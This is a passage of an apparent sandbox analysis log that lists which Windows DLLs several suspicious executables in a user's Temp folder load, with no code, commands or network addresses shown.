Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: dnsapi.dll
